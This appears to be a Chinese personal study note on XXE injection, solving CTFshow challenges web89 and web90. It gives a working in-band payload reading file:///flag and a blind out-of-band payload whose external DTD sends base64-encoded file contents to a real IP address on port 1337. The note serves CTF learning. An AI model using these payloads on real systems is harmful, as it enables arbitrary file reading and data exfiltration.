【心得】XXE漏洞利用个人笔记

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用

XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父 3个叔父 8个堂弟堂妹

<祖父>

<叔父1>

<堂兄1>

</叔父1>

<叔父2>

<堂兄2>

</叔父2>

<叔父3>

<堂兄3>

</叔父4>

</祖父>

xml格式

1 有回显时文件读取方法

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY hacker SYSTEM "file:///flag">

]>

<root>

<ctfshow>

&hacker;

</ctfshow>

</root>

例题1 web89

post传:

复制代码
<?xml version="1.0" encoding="UTF-8"?>


<root>
    <ctfshow>
        hacker
    </ctfshow>
</root>

看到回显hacker

可以实现任意文件回显

payload:

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

无回显点,考虑数据外带

post传

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">

<!ENTITY % myurl SYSTEM "http://124.222.136.33/test.dtd">

%myurl;

]>

<root>

1

</root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">

%dtd;

%vps;

vps监听1337端口即可

相关推荐
曲幽18 小时前
FastAPI压力测试实战:Locust模拟真实用户并发及优化建议
python·fastapi·web·locust·asyncio·test·uvicorn·workers
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
曲幽2 天前
FastAPI实战:打造本地文生图接口,ollama+diffusers让AI绘画更听话
python·fastapi·web·cors·diffusers·lcm·ollama·dreamshaper8·txt2img
曲幽3 天前
我用FastAPI接ollama大模型,差点被asyncio整崩溃(附对话窗口实战)
python·fastapi·web·async·httpx·asyncio·ollama
曲幽4 天前
FastAPI + Ollama 实战:搭一个能查天气的AI助手
python·ai·lora·torch·fastapi·web·model·ollama·weatherapi
一次旅行5 天前
网络安全总结
安全·web安全
西岸行者5 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
starlaky5 天前
Django入门笔记
笔记·django
勇气要爆发5 天前
吴恩达《LangChain LLM 应用开发精读笔记》1-Introduction_介绍
笔记·langchain·吴恩达